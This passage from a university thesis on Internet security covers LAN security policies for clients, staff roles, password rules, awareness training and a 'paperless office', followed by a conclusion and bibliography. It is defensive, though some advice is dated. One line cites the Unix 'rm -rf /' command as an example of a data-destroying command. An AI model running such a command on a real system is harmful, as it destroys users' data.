internally. o Follow security policies listed in the first part of this chapter. Overall o Make sure that DNS servers are not appointed dynamically, but are hard coded in the computer’s network settings. o Computer’s IP addresses shall not be assigned dynamically but be hard coded in the network settings. o Only authorized MAC addresses may access the LAN. This minimizes the risk of someone hooking up on the LAN with a laptop. o All communication of the LAN with the outside world (apart from HTTP) should be disabled. Traffic may be easy to intercept, but in case the user (data owner) is aware of the slight possibility of such an event and takes the necessary precautions to protect his/her data, then interception will be of little use, as the acquired data will be encrypted. Moreover, many of the encryption tasks can be automated and remain transparent to the end user. It is, however, very important to raise overall awareness of all LAN users. This is discussed in more details later in this chapter. 213 http://gmail.com/ - 97 - Internet Security // Kulikov Alexey @ University of Warwick Client (OS and Browser) Connections to servers are usually initiated by some sort of client. Over the last decade web browsers are a prevailing type of client application that establishes a connection with a Web Server. Yet a “client” is more. When talking about a client, what one actually means is a computer with a set of application, such as an OS and a web browser, which establishes a connection to a server via a network. This machine’s OS and applications need to be protected from intrusions just as much as the server OS and its applications and the transport channel used to link the two. Whereas a server in a LAN or a WAN has little direct human-computer interaction, due to the nature of its functionality, a client is operated by a human being most of the time when it accesses the network. When securing client machines in a LAN, the following set of security guidelines may lock out most of potential problems: • • • • • • • • • 214 Ideally all computers in the LAN should use the same OS and the same browser. As a rule of thumb it is more secure to use less popular software. For example preference should be given to the Firefox214 web browser over Internet Explorer. The primary reason for such a decision is, of course, the fact that typically malware is written for software, that is used more widely. Moreover, the Firefox web browser is Open Source, meaning that bugs are fixed almost instantaneously by the community. Yet this leads to another recommendation. Software must be updated on a regular basis. Whereas some programs will take the liberty of updating themselves automatically, others need to be updated manually. This has a direct link to the security policy affecting the “human factor”. In fact, the client machines are the ones in the highest risk area due to the volume of human-computer interaction directed at them. Yet this is discussed in more details later in this chapter. A simple “must” is the installation of firewall software on all client machines in a LAN. There are various providers, many of which were reviewed in chapter five. A good choice may be Symantec’s Norton Internet Security Suite. In case it is tuned well, then the client is rather safe from being intercepted by a Trojan or a popular breed of computer virus. Many security specialists recommend to remove floppy drives from computers on a LAN. I find this measure paranoid and ineffective, as any USB port can be used to connect a flash card to a PC. Thus the client machines must not be altered in terms of hardware. Ideally computer users shall not have administrative privileges over the system they are using, meaning that they will not be able to install any new software or edit the system’s registry. Of course this will not keep off all the trouble, yet much of malware circulating the net will become obsolete. Making a reference to the server OS. All the e- mail containing executable files shall be stripped of the attachment. Moreover, there are quite a few server based e- mail processors, which scan incoming and outgoing e- mail for malware. Besides installing firewall software on client machines, antiviral software must be installed too. Apart from scanning local files, the boot sector and the registry for traces of malware, it will also take care of incoming and outgoing e- mail. Client machines should not be allowed to share any kind of resources over the LAN, let it be processing cycles, disk space or local drives. As it was already outlined before in this chapter – information is easier to protect in case it is stored centrally. Thus work-related files, address books and calendars are to be stored on a server and accessed remotely. There are various technological solutions offering that level of flexibility, a rather well known one being the Microsoft Exchange Server. http://www.mozilla.org/ - 98 - Internet Security // Kulikov Alexey @ University of Warwick • • Sensitive information that is to be stored locally must be protected. This is best achieved with automatic encryption tools such as PGP Disk, which mounts a virtual hard drive in the overall file system. All the files written to that disk are automatically encrypted with the user’s key and are accessible only with the presence of the key and a boot- up pass phrase. Cryptography keys are never ever to be stored on the local file system. What I recommend is the storage of these in a USB Flash Stick, which can be carried around as a key ring. Even if all the above recommendations are followed precisely, the client machines are still vulnerable to attack. Sensitive information does have to be obtained over software: intruders may install simple keystroke loggers between the computer case and the keyboard. Read more about this in the next section of this chapter. People Nowadays there exist technological solutions to tackle almost any kind of security threat on the Internet. Yet servers and even whole LANs are broken into almost daily, information is stolen and web sites are defaced. Whereas it is common for new vulnerabilities to be discovered in widely used software (such as MS Windows), they do not usually lie at the root of the attack. As it has already been pointed out in the previous chapters: the Internet is not autonomous and it is managed by human beings. Meaning that either the whole system or parts of the system (LANs or stand alone serve rs) are vulnerable to human error. There are various types of human error, all having the potential to grant access to attackers. However, before I attempt to classify error severity I will try and classify the majority of network users inside a LAN. • • • • • • • System Administrators – are responsible for managing the network, they are also looking after servers and are primarily responsible for the smooth operation of the server OS (chapter 2) and the Web Servers (chapter 6). Their secondary tasks include watching over the whole network, making sure that it is secure and in working condition. Software Developers – can be internal to the LAN, thus are more educated about the available resources and local security policies. Yet, most of the time, software is developed by third parties, or, in case of Internet Service Providing companies, software may be very well written by the users of the provided hosting service. Network Specialists – are responsible for hardwiring and tuning the LAN. Their primary field of expertise lies with network topologies and various network-related hardware such as switches, hubs, repeaters, firewalls et cetera. IT Support Personnel – are usually employed at IT helpdesks. They have access to all user accounts on the LAN and are responsible for resolving software related problems of LAN users. IT Managers – are, usually, ex-software developers, and thus are savvy in all aspects of IT including security. Moreover, they are aware of the overall value of internal information and are the ones, who will get punished for any security breach, if such occurs. Users savvy in IT – are common network users, who are aware of potential dangers that the net brings to their PC (viruses, trojans and other malware), thus they are careful when reading their e- mail and passing sensitive information through the net. Other users – are aware of the existence of malware, yet take little action against it and are the most common targets for social engineering attacks. Moreover they are not only the ones who need the most protection, but they are also the ones, from whom the system will need the most protection. - 99 - Internet Security // Kulikov Alexey @ University of Warwick Once the target groups for a people-related security policy have been defined, the actual guidelines can be presented as well. Yet I would like to point out, that I am picturing a rather paranoid system, which should be attended to based on the value of protected information. • • • System Administrators o It is wise to hire more than one System Administrator to look over the system, as possible mistakes of one will be noticed by the other. o System Administrators should take care of software updates on the servers. o It is the Sysadmin’s task to read daily CERT reports concerning newly discovered vulnerabilities and to make sure that the LAN is on guard against intrusions. o They are responsible for tight configuration of the server and the Web Server software, such that the system is grants minimal access to the other users of the LAN and the Internet as a whole. o Sysadmins are advised to install password control scripts, suc h that weak passwords (discussed in chapter 2) are not allowed. Login passwords should be minimum of 8 characters in length, they should contain at least two numerals and one “special” character. A strong password could be “AKu1!kov9”, whereas phonetically the same password will be considered weak – “AKulikov9”. Read chapter two for more details on weak and strong passwords. o User accounts are to expire, unless the password is not changed every three month. o Sysadmins are to control temporarily “not active” accounts i.e. in case some account holder is on holiday – his/her system account should be temporarily blocked. Software Developers o Extreme Programming (XP) techniques shall be practiced by all software developers as one of the ground stones of XP is “pair-programming”, which reduces severely the amount of bugs per KLOC215 . o Unit testing in software development is also one of the main components of the software development lifecycle, which helps produce much more stable and secure code. o Use of applications “heavy” on server’s resources (memory and processor cycles) should be prohibited by the Sysadmins. o Sysadmins shall prepare the Web Server against possible code injections through third party software. Code injections are possible only due to the sloppiness of software developers and can be avoided. Yet in case a code injection takes place it should not have any disastrous consequences and cause minimal damage in the user’s space only (disk/file space where some user installs third party software, in case of a Web Server it will be the user’s public html folder and a dedicated database). Network Specialists o Extreme caution shall be taken when tuning firewalls, routers and switches. Any route of entry left open for no particular reason could be used for an attack. Thus the network specialists are to check on each other’s work in order to minimize the possibility of human error. o Hubs, Switches, Routers and other network related hardware should not be mounted in places accessible to the public 216 . Ideally all cables are to be hidden in cable shafts and not left lying around. Yet with the growing popularity of wireless 215 Thousand Lines of Code For example, in the Austrian Ministry of Foreign Affairs the central router is mounted on the wall in a publicly accessible corridor. It is therefore rather easy to intercept traffic flowing through a LAN, which has no physical connection with the Internet (at least this is what the employees of the ministry claim). 216 - 100 - Internet Security // Kulikov Alexey @ University of Warwick • • • • networks this precaution becomes obsolete. Moreover, wireless connections are capable of automatically encrypting all network traffic and they should be configured to do so. IT Support Personnel o They should never recover user’s passwords over the phone. Password recovery procedures should be carried out in person. o Any information concerning either the structure of the LAN or its users should never be revealed to anyone. IT Managers o Since IT managers usually have more access to information on the LAN than other users, they are in desperate need for security related training (read the next section on this chapter on details of such training). o Decision making process on information access policies must be documented and coordinated with the Sysadmins. o IT managers must make any security compromises public. Moreover, break- ins can be simulated and later discussed by the users. This will raise awareness and prevent common Social Engineering scenarios from succeeding. Users savvy in IT o Need to have some freedom in picking their own software, yet installation must be coordinated with IT Support Personnel, who, if in doubt, have to consult themselves with the Sysadmins. Applicable to all Users o Users shall be punished for being careless. Passwords should be changed once every three month, and strong passwords are to be maintained by the Sysadmins. Yet people may forget their new passwords and get in contact with the local help desk in order to restore network access. In case the protected LAN belongs to a business, absent- minded users should be punished financially. However, such an action creates the problem of passwords being scrabbled all over the working area (post- its, pieces of paper, desk, computer). Users should be warned that they will be restricted network access completely in case such an event shall take place. o No computer should ever be left unattended with an active login. Key logging software (discussed in chapter 5) has evolved to work invisibly in any system passing data unnoticed through any firewall alongside with the browser’s web traffic 217 . o The Sysadmin should take care in installing software that will monitor user’s behavior on the LAN. These exist simple packages 218 , which collect stats of network usage and the types of commands users tend to use. Shall a anomaly be detected, the account should be automatically blocked. Not only will this prevent possible misuse of each other’s accounts, it will also prevent users from experimenting with unknown commands (for example, under Unix the “rm –rf /” command will erase all the data from the hard disk). As seen from the above policy outline, the “people” element is critical to the security of every side of the Pentagon. Moreover the concept of “central information control point” is introduced in the face of the System Administrator. The natural question to ask is: “If the System Administrator is the one in control of the whole system, who, then, controls the System Administrator?”. Even in case when there are several Sysadmins managing the LAN, the whole system is still in danger of being compromised internally. The possible consequences of such an event have been brilliantly illustrated in Steven Spielberg’s science fiction movie “Jurassic 217 218 Eg. http://www.blazingtools.com/bpk.html Eg. http://www.narus.com/ - 101 - Internet Security // Kulikov Alexey @ University of Warwick Park”. Depending on the overall value of the LAN and its internal resources a suitable solution must be developed. For example, giving full access to all client account’s databases of some bank to a System Administrator is simply unacceptable. A decentralized system of control can be applied in this case. For example, one Sysadmin will have access to the whole system, except for the logging facilities, which, in turn, shall be managed by someone else. Such a simple action will make sure that, even in case of misuse of the system by the employees with the widest level of access, traces of their work will be saved and analyzed for their purity. Whereas banks may attend to this simple strategy to protect their system from interna l misuse, other organizations may find it problematic to protect themselves from information leakage. The cheapest and most effective, yet not bullet proof, solution may be the need for presence of two employees in order to carry out database maintenance, where one will basically watch over the other. However, the problem of trust cannot be solved with a 100% guarantee, just as the problem of trust cannot be solved on the technological front (for example in public key cryptography and SSL implementations, read chapter three for an explanation). Thus any organization, that has information to protect, has to be very selective, when hiring a Sysadmin. Yet, the topic of human psychology is out of the scope of this thesis. It is enough to understand, that the person managing the servers on a LAN will almost inevitably have access to all the information and he/she may very well use it for personal benefit, thus all has to be done in the power of management to hire/keep a trustworthy employee. Raising awareness In order to raise the overall sense of security in a particular LAN all security issues have to be made public. In other words, any attempt to compromise a LAN or any leakage of information is to be made public over a series of security seminars. People responsible must not be punished at first, but given a second chance to improve and let others learn from their mistakes. For example, in case a weak password leads to some sort of information leakage, then a series of seminars for LAN users may be organized based on the following schema: • • • • Analyze the case Analyze the value of information lost Point at the people responsible i.e. the System Administrator and some LAN user, who used a weak password Explain what could be done in order to prevent such an event from occurring in the future Although the above scenario is rather trite, it keeps happening every day. It is of uttermost importance for the users of the LAN not only to follow security policies, but also to understand the importance of security and the value of information standing at risk. In order to keep things a bit more interesting, such that security seminars do not become routine and are paid little attention from the users of the LAN, I suggest the management to simulate various types of attack on a regular basis. This will keep the overall level of awareness high and increase the popularity of security related seminars. Moreover users will become educated not only in technical aspects of Internet Security but also topics such as Social Engineering (chapter 4) and value of internal information. “Paperless Office” Bill Gates has suggested the implementation of a “Paperless Office” in his book “Business @ The Speed of Thought”219 . Gates’ prevailing idea back in 1999 was to get rid of all possible printed documents within Microsoft in order to speed up business processes. Yet his idea can be 219 B. Gates, Business @ The Speed of Thought, Penguin Books Ltd., 1999 - 102 - Internet Security // Kulikov Alexey @ University of Warwick taken one step further in order to increase the security of a network against outside attacks. This kind of approach has little to do with technical issues, it is much more focused on the “human factor” on Internet Security. People are known to leave printed copies of documents lying around (as they are more comfortable to read, than their digital versions); it is a common scenario for someone to scribble access details on slips of paper or even on post-its anywhere around their working area. In order to raise the user’s awareness and to implement an overall sense of security within a particular company/institution sitting on a particular LAN a “Paperless Office” approach in suggested, which consists of the following action set: At the end of each working day, the cleaners are instructed to collect and destroy all paper that is found lying around someone’s working place. All notes and post- its are to be collected and destroyed as well. Of course documents printed on paper are important, yet they are not to be left easily accessible, instead they are to be locked away. Putting them away in an unsafe drawer shall not be enough of a security precaution, as the contents of any unlocked drawer are to be trashed as well. Of course the constant application of such a procedure sounds more like an utopia and will probably end up as being a very costly and rather ineffective procedure. Yet these “raids” can be organized by the manage ment on a regular basis (for example once-twice every month). Such a procedure, alongside with security seminars shall keep the overall level of security awareness above average and help protect the LAN from SE attacks. However, a paperless office will inevitably also bring along new problems, such as: • • Centralized storage of sensitive information, meaning that in case the point of storage is broken into, then all information is accessible at once. Use of “high-tech devices” (such as mobile phones or PDAs) for personal notes. Personal electronics are more likely to be lost or accessed by third parties (as they are carried around), who, in turn, may be able to get access to desired information. Whereas the first issue can be tackled with the use of appropria te technological solutions and the employment of qualified personnel, the second brings back the problem of the “human factor”, which can compromise the security of either some standalone system or the LAN as a whole. It becomes rather clear, that the people operating the Internet as a whole are it’s weakest security link on any of the given fronts. Suppose the net could work on its own, locking out potential human mistakes on the Server OS, Web Server and the Transport Channel fronts, then the task of establishing a secure LAN would have been much easier to tackle, as client machines can be brought to a standard set of hardware and software tools and the people operating these can be educated to be absolutely paranoid. Yet this is not the case and there are people operating all fronts of Internet Security. Moreover, some fronts, such as the transport channel, were open for misuse from the very beginning, thus we are left to combat a technological lock- in, building secure solutions by using insecure technologies. However, the cheapest security solution is the implementation of a security policy, which all LAN users must follow and understand. High-end technological solutions are of little help in case they are used incorrectly or in case they can be bypassed due to simple human carelessness. To Sum Up Most successful attacks against banks, corporations or even governments go unmentioned in the media. Some of them even go unnoticed by the victims. And those that go public are not rewarded. When Citibank lost $12 million to a Russian hacker in 1995, it announced that the bank had been hacked into and instituted new and more powerful security measures to prevent such attacks from occurring in the future. Even so, millions of dollars were withdrawn by people, who believed their funds were vulnerable immediately after Citibank’s announcement. Citibank recovered, but the lesson was clear: “Don’t publicize”. We need to publicize attacks. We need to - 103 - Internet Security // Kulikov Alexey @ University of Warwick publicly understand why systems fail. We need to share information about security breaches: causes, vulnerabilities, effects, methodologies. Secrecy only aids the attackers. Security is not a product it is a process. One cannot just add it to a system. It is vital to understand the real threats to a system, design a security policy that can prevent these threats, and build in appropriate security countermeasures from the beginning. Perfect solutions are not required, as they are in many cases simply not worth the time and money invested into their setup and support, however, systems that can be easily broken are unacceptable. Good security processes are essential to make security products work. In the real world, security threats are everywhere. They’re not things to be avoided, they’re opportunities to make money. The prize doesn’t go to the company that best avoids the threats, it goes to the company that best manages the risk. I believe that computers alone cannot defend against a human attacker, hence efficient systems employ experienced security analysts. The fundamental problems in security are no longer about technology, they are about how this technology is used and by whom this technology is used. It is essential to estimate the value of information, that is to be protected from unwanted access, and only then build a security policy based on these estimates. Low value information may usually be wanted only by script kiddies or someone penetrating a LAN “for fun”, thus the level of protection does not have to be at the highest level of standards. Yet, as it has already been pointed out before – systems that can easily be broken into are simply unacceptable. Whereas in case there exists very sensitive information to hide from the outside world, one must be extremely careful, when planning a security system. It will pay off to investigate cases from the past, where typical attack scenarios are analyzed. Top-notch IT solutions will never guarantee 100% security, as they are linked to people, operating these solutions. No system is 100% secure, as there always remains someone will full access. Thus this person/group of people must be selected with uttermost accuracy, they must also be rewarded accordingly, such that no desire for information leakage shall arise. However, the issues of human psychology are out of the scope of this thesis, yet one must keep in mind, that the person, who has the most power within an organization – is the System Administrator, followed by the IT department. Who watches over these people? How does one solve “the people” problem? These questions remained unanswered over the whole history of the Internet and no viable solution has yet been proposed to tackle them. Evident to this statement is the recent appearance of a copy of the Central Bank of Russia customer’s accounts database on the local IT market220 . Moreover, databases of GSM operators have been circulating the Internet for many years now. Most probably this data was stolen by the company’s employees. The problem of security does not lie with technology, it lies with the people using and operating that technology. Despite its size and rapid growth, the Internet is still in its infancy. So is the software industry. We are just beginning to learn how to develop secure software, and we are beginning to understand that for our future, if it is to be online, we need to incorporate security into the basic underpinnings of everything that we develop. The biggest obstacles to the evolution of Web Security are by far not technological, they are a result of the market pressures created by its sudden growth. Moreover, there are political pressures from governments, attempting to understand and control the evolving market. On the technical front, we have in our hands most of the tools we need to begin building a secure Web. It will not be sudden and it will result in a lengthy process of evolution. As with any evolutionary process a number of dead ends will not survive, whereas others will prosper. Some of the failures will be sudden and dramatic, others will be gradual and quiet. The Web today is much smaller than it will eventually grow to be – but it is already too large to understand anymore. There is a hard task ahead of us: evolving an 220 http://top.rbc.ru/index.shtml?/news/society/2005/03/30/30062622_bod.shtml -- RBC.ru stands for RosBusinessConsulting and is a reliable information source on financial information inside Russia. On the local market, preference is given to RBC over Reuters. - 104 - Internet Security // Kulikov Alexey @ University of Warwick insecure architecture into a secure environment for electronic commerce and safe communication. As a final note I would like to point out, that a system can not be said to be secure and left at that stage. The security of a LAN or of a particular system is to evolve alongside with the Internet and the surrounding world. It is to be updated daily, some policies becoming obsolete and some taking a slightly paranoid edge. Yet one can never stop the process of creation of a secure environment, one must adapt to the changing world and the span of evolving technologies on the net. Evolution of security is never to reach a final stage, it is an endless process, which becomes more and more complicated as time goes by. However, as long as the Internet is managed by human beings, they will remain the primary source of problems related to the security of the system. Any human mistake can be noticed by someone with malicious deeds in mind, moreover, we can be directed by someone into making a mistake (read chapter 4 for examples), which will be exploited for someone else’s benefit. Thus, even having all the technology at hand we are unsafe and the only way towards a secure network is the education of its users. Using the net safely shall become a commonsense day-to-day activity, just like driving a car is perceived today. The overall level of user’s security education will inevitably rise, leaving potential hackers less and less chances for a successful attack. However, the Internet is still in its infantile stage and it will grow exponentially over the next decades alongside with its user base. Thus it is time to think safely now and start helping each other out in order to avoid all common scenarios, that were investigated over the course of this thesis. Attacks and attacker will always get better, and systems fielded today could be in place in 20 years from now. We need to refocus on the process instead of the technology in order to achieve a secure web, as the fundamental problem in security has always been about technology, yet it is more about how we use this technology. I hope this thesis has aided the reader into thinking more safe ly and given ground for further research and development. - 105 - Internet Security // Kulikov Alexey @ University of Warwick Bibliography 1. Alvarez G., Petrovic S., “A new taxonomy of Web attacks”, Computers & Security, Vol. 22, 2003, pp. 435-449 2. Anderson J. P., Computer Security Technology Planning Study. ESD-TR-73-51, Hanscom Field, Bedford, MA, October 1972 3. Anderson R. J., Security Engineering. Wiley Computer Publishing, 2001 4. Anderson R. J., Secrets Security Engineering: A Guide to Building Dependable Distributed Systems, John Wiley & Sons Inc. (9 April, 2001) 5. Anley C., “Advanced sql injection in sql server applications”, Technical Teport, Next Generation Security Software, January 2002. Can be seen at http://www.nextgenss.com/papers/advanced_sql_injection.pdf 6. Aubrey-Jones D., “Internet – Virusnet?”, Networking Security, Feb 1997, pp 15-19 7. Babcock C., “Beware of a macro virus epidemic”, Computerworld, July 18, 1996, p. 122 8. Bellovin S. M., “Security Problems in the TCP/IP Protocol Suite”, Computer Communication Review 19(2), April 1989, can be seen under http://www.research.att.com/~smb/papers/ipext.pdf 9. Bellovin S. M., “The ICMP traceback message”, available from http://www.research.att.com/~smb/papers/draft-bellovin-trace.txt 10. Bellovin S. M.. “Security Problems in the TCP/IP Suite”, ACM Computer Communications Review, 19(2), March 1989 11. Biukovic L., “Unification of cyber-jurisdiction rules: just how close are the EU and the US?”, Telematics and Informatics, Issue 19, 2002, p 142 12. Bontchev V., “Macro Virus Identification Problems”, Computers and Security, v 17 no 1, 1998, pp. 69-89 13. Bontchev V., “Possible Macro Virus Attacks and How to Prevent Them”, Computers and Security, v 15 no 7, 1996, pp 595-626 14. Brock J. L., Trochelman G., Hoy J. B., Brewer M. T., Peterson B. A., Dittmer G.. GAO Report – Morris Worm. INFORMATION MANAGEMENT AND TECHNOLOGY DIVISION, WASHINGTON, D.C. June 1999 15. Carnegie-Mellon Software Engineering Institute, CERT Coordination Center, "Social Engineering," CERT Advisory CA-90.04, revised Sept. 18, 1997 16. CERT Coordination Centre, “Ongoing Network Monitoring Attacks”, Annual Report 1994, Appendix A, CA-94:01 17. Cohen F., “Information System Attacks: A preliminary classification scheme”, Computers & Security, Vol. 16, 1997, pp. 29-46 18. Cohen F., “Computer Viruses: Theory and Experiments.” Computers and Security, Vol. 6, pp 22-35, Elsevier Advanced Technology Publications, 1987 19. Cohen F., Trends in Computer Virus Research. 1991, Page 10. http://all.net/books/integ/japan.html 20. Computer Incident Advisory Capability, U.S. Dept of Energy, CIAC Note 94-03a, July 6, 1994 21. Denning D. E., Brandstad D. K, “A Taxonomy for Key Escrow Encryption Systems”, Communication of the ACM, Vol. 39, No. 3, March 1996, can be seen under http://www.cosc.georgetown.edu/~denning/crypto/Taxonomy.html 22. Denning P. J., “Computer Viruses”, American Scientist, Issue 76 (May-June) 1988, pp 236-238. 23. Dewdney A. K., “A Core War Bestiary of Viruses, Worms and Other Threats to Computer Memories”, Scientific American 252, 5, March 1985, can be seen here — http://vx.netlux.org/lib/mad02.html 24. Digital Signature Law Survey, http://rechten.kub.nl/simone/ds- lawsu.htm - 106 - Internet Security // Kulikov Alexey @ University of Warwick 25. Eichin M. W. and Rochlis J. A., “With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988”, Proceedings of the IEEE Symposium on Research in Security and Privacy, 1989, pp 236-343, can bee seen at http://ieeexplore.ieee.org/ 26. Farmer D., Venema W., Improving the Security of Your Site by Breaking Into it. Eindhoven University of Technology. Can be seen under http://www.fish.com/security/admin- guide-to-cracking.html 27. Feistel H., “Cryptography and Computer Privacy”, Scientific American, May 1973, Vol. 228, No. 5 28. Ferguson P., Senie D., “Network ingress filtering: defeating Denial of Service attacks which employ IP source address spoofing”, in: RFC 2827, 2001 29. Gates B., Business @ The Speed of Thought, Penguin Books Ltd., 1999 30. Gemignami M., “Viruses and Criminal Law”, Communication of the ACM, Vol. 32, No. 6, June 1989, p 670 31. Geng X., Huang Y., Whinston A. B., “Defending wireless infrastructure against the challenge of DDoS attacks”, Mobile Networks and Applications, Issue 7, 2002, pp 213223, can be seen at http://cism.bus.utexas.edu/works/articles/DDoS_ACM_final2_all.pdf 32. Geng X., Whinston A. B., “Defeating Distributed Denial of Service attacks”, IEEE IT Professional, Vol. 2, 2000, pp. 36-42 33. Gil T. M., Poleto M., “MULTITOPS: a data-structure for bandwidth attack detection”, Proceedings of 10th Usenix Security Symposium, Washington DC, August 2001, pp 23-38 34. Goldberg I., Wagner D., “Randomness and the Netscape Browser”, Dr. Dobb’s Journal, January 1996 35. Hafner K., “Kevin Mitnick, Unplugged”, Esquire, 1995, August, p.81-88 36. Harley D., Slade R., Gattiker U. E., Viruses Revealed, McGraw Hill, 2001 37. Highland H., “A Macro Virus”, Computers and Security, v 8, 1989, pp. 178-188 38. Howard M., LeBlank D., Writing Secure Code, Microsoft Press, 2001 39. Hruska J., “Is the Virus Problem getting worse?”, Network Security, Volume 2001, Issue 2, 1 February 2001, Pages 13-16 40. Knaser S. D., “Global Communications and National Power: Life on the Pareto Frontier”, World Policy Journal, 1991, pp 337-360 41. Landwehr C. E., Bull A. R., McDermott J. P., and Choi W. S., A Taxonomy of Computer Security Flaws, with Examples. Information Technology Division, Code 5542, Naval Research Laboratory, Washington, D.C. 20375-5337, can be seen under http://www.cs.mdx.ac.uk/research/SFC/Papers/1994landwehr-acmcs.pdf 42. Landwehr C. E., Bull A. R., McDermott J. P., Choi W. S., “A taxonomy of Computer Program Security Flaws, with Examples”, US Navy Report NRL/FR/5542-93-9591, (Nov 19, 1993). Please note, that this is a slightly different report, compared to the one listed right above. 43. Lange L., “Hack punches hole in Microsoft NT security”, EE Times, 31.03.97, can be seen under http://www.eetimes.com/news/97/947news/hack.html 44. Lee W., Stolfo S. J., Mok K. W., “A data mining framework for building intrusion detection models”, Proceedings of the 1999 IEEE Symposium on Security and Privacy, Oakland, Ca, May 1999, pp. 120-132 45. Leebron D. W., “Lying down with Procrustes: An Analysis of Harmonization Claims”, in Bhagwati J. N., Hudec R. E., Fair Trade and Harmonization 1, MIT Press, 1996, pp. 41, 43-50 46. Less R. B., Taxonomies of Distributed Denial of Service networks, attacks, tools and countermeasures. Available from http://www.ee.princeton.edu/~rblee/ 47. McIlroy M. D., “Virology 101”, Computing Systems, University of California Press: Berkeley, CA, 1989, page 4 48. Minor J. R., “Hackers, Phreakers, and Crackers”, ‘The true story of Kevin Mitnick World famous Computer Hacker’, Interzine. 1995 - 107 - Internet Security // Kulikov Alexey @ University of Warwick 49. Mirkovic J., Prier G., Reiher P., “Attacking DDoS at the Source”, Proceedings of ICNP 2002, Paris, France, 2002, pp. 312-321 50. Mitnick K., “My first RSA Conference” Security Focus, April 30, 2001 51. Mitnick K., The Art of Deception, Wiley Publishing Inc., 2002 52. Mitnick K., The Art Of Intrusion: The Real Stories Behind The Exploits Of Hackers, Intruders, And Deceivers, John Wiley & Sons, 2005 53. Nazario J., Defence and Detection Strategies against Net Worms, Artech House Publishers, 2003 54. Park K., Lee H., “The effectiveness of route-based packet filtering for Distributed DoS attack prevention in power- law Internets”, Proceedings of the ACM SIGCOMM 2001, ACM Press, 2001, pp. 15-26 55. Powell T., Schneider F., JavaScript: The Complete Reference, Second Edition, McGrawHill/Osborne, 2004 56. Reid B., “Reflections on some recent widespread computer break- ins”, Communication of the ACM, Volume 30, February 1987. 57. Rivest R. L., “The case against regulation encryption technology”, Scientific American, October 1998, pp. 116-117 58. Robinson P., “Word is out on virus that attacks macros”, Computer Weekly, 31 August 1995, p. 10 59. Ryburn P., COMP 1200, University of Memphis, January 1997 60. Savage S., Wetheral D., Karlin A., Anderson T., “Network Support for IP Traceback”, IEEE/ACM Transaction on Networking 9, 2001, pp. 206-237 available from http://www.csd.uch.gr/~hy558/papers/savage-traceback-sigcomm00.pdf 61. Schneider B., Secrets and Lies, 2000, John Wiley & Sons, Inc. 62. Scott D., Sharp R., “Abstracting Application-Level Web Security”, WWW2002, May 2002, can be seen at: http://www-lce.eng.cam.ac.uk/~djs55/swap/abstracting.pdf 63. Shannon C. E., “A mathematical theory of communication”, Bell System Technical Journal, vol. 27, p. 379-423 and 623-656, July and October, 1948 64. Shimomura T., Markoff J., Takedown: The Pursuit and Capture of Kevin Mitnick, America's Most Wanted Computer Outlaw-By the Man Who Did It, Warner Books Inc, 1998 65. Shoch J., Hupp J., “The ‘Worm’ Programs – Early Experience with a Distributed Computation”, Communication of the ACM, March 1982, pp 172-180. http://portal.acm.org/citation.cfm?id=358455 66. Singh S., The Code Book, The Science of Secrecy from Ancient Egypt to Quantum Cryptography, Fourth Estate Ltd. 2000 67. Solomon A., “A Brief History of Computer Viruses”, Computer Fraud and Security Bulletin, Dec 1993, pp 9-19 68. Spafford E. H., The Internet Worm Incident, Purdue CS Technical Report TR-CSD-933 69. Spafford E. H., The Internet Worm Program: An Analysis. Purdue CS Technical Report TR-CSD-823 70. Stoll C., The Cuckoo’s Egg: tracking a spy through the maze of computer espionage, Pocket Books, October 2000 71. Sussman V., “Gotcha! A Hard-Core Hacker Is Nabbed”, U.S. News & World Report, 1995, February 72. Talpade R. R., Kim G., Khurana S., “NOMAD: Traffic based network monitoring framework for anomaly detection”, Proceedings of the fourth IEEE Symposium on Computers and Communication, 1998, pp. 442 – 451, can bee seen at http://ieeexplore.ieee.org/ 73. The World Wide Web Security FAQ available from http://www.w3.org/Security/FAQ/ 74. Thompson K., “Reflections of Trusting Trust”, Communication of the ACM, Vol. 27, No. 8, Aug 1984, pp. 761-763. http://www.acm.org/classics/sep95/ - 108 - Internet Security // Kulikov Alexey @ University of Warwick 75. Verma P., “Virus Protection”, Encyclopedia of Information Security (Kluwer, to be published), can be seen under: http://www.eecs.umich.edu/~pverma/pubs/virus.pdf 76. Zaroo P., “A Survey of DDoS attacks and some DDoS defense mechanisms”, Advanced Information Assurance (CS626), available at: http://www.cs.purdue.edu/homes/zaroo/papers/my_papers/ddos_paper.pdf - 109 -